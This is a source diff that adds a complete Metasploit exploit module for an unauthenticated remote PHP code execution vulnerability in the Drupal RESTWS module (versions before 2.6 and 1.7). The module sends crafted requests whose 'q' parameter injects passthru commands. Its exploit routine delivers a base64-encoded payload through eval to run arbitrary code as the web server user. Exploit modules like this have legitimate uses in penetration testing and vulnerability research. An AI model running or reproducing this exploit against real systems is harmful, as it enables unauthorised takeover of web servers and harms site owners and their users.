|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + |
| 11 | + def initialize(info={}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => 'Drupal RESTWS Module Remote PHP Code Execution', |
| 14 | + 'Description' => %q{ |
| 15 | + This module exploits a Remote PHP Code Execution vulnerability in |
| 16 | + Drupal RESTWS Module. Unauthenticated users can execute arbitrary code |
| 17 | + under the context of the web server user. |
| 18 | +
|
| 19 | + RESTWS alters the default page callbacks for entities to provide |
| 20 | + additional functionality. A vulnerability in this approach allows |
| 21 | + an unauthenticated attacker to send specially crafted requests resulting |
| 22 | + in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7 |
| 23 | + versions are affected by issue. |
| 24 | +
|
| 25 | + This module was tested against RESTWS 2.5 with Drupal 7.5 installation on Ubuntu server. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Devin Zuczek', # discovery |
| 31 | + 'Mehmet Ince <[email protected]>' # msf module |
| 32 | + ], |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + ['URL', 'https://www.drupal.org/node/2765567'] |
| 36 | + ], |
| 37 | + 'Privileged' => false, |
| 38 | + 'Payload' => |
| 39 | + { |
| 40 | + 'DisableNops' => true |
| 41 | + }, |
| 42 | + 'Platform' => ['php'], |
| 43 | + 'Arch' => ARCH_PHP, |
| 44 | + 'Targets' => [ ['Automatic', {}] ], |
| 45 | + 'DisclosureDate' => 'Jul 13 2016', |
| 46 | + 'DefaultTarget' => 0 |
| 47 | + )) |
| 48 | + |
| 49 | + register_options( |
| 50 | + [ |
| 51 | + OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']) |
| 52 | + ] |
| 53 | + ) |
| 54 | + end |
| 55 | + |
| 56 | + def check |
| 57 | + r = rand_text_alpha(8 + rand(4)) |
| 58 | + res = send_request_cgi( |
| 59 | + 'method' => 'GET', |
| 60 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 61 | + 'vars_get' => { |
| 62 | + 'q' => "taxonomy_vocabulary//passthru/echo #{r}" |
| 63 | + } |
| 64 | + ) |
| 65 | + if res && res.body.include?(r) |
| 66 | + Exploit::CheckCode::Vulnerable |
| 67 | + else |
| 68 | + Exploit::CheckCode::Safe |
| 69 | + end |
| 70 | + end |
| 71 | + |
| 72 | + def exploit |
| 73 | + cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'" |
| 74 | + send_request_cgi( |
| 75 | + 'method' => 'GET', |
| 76 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 77 | + 'vars_get' => { |
| 78 | + 'q' => "taxonomy_vocabulary//passthru/#{cmd}" |
| 79 | + } |
| 80 | + ) |
| 81 | + end |
| 82 | +end |
0 commit comments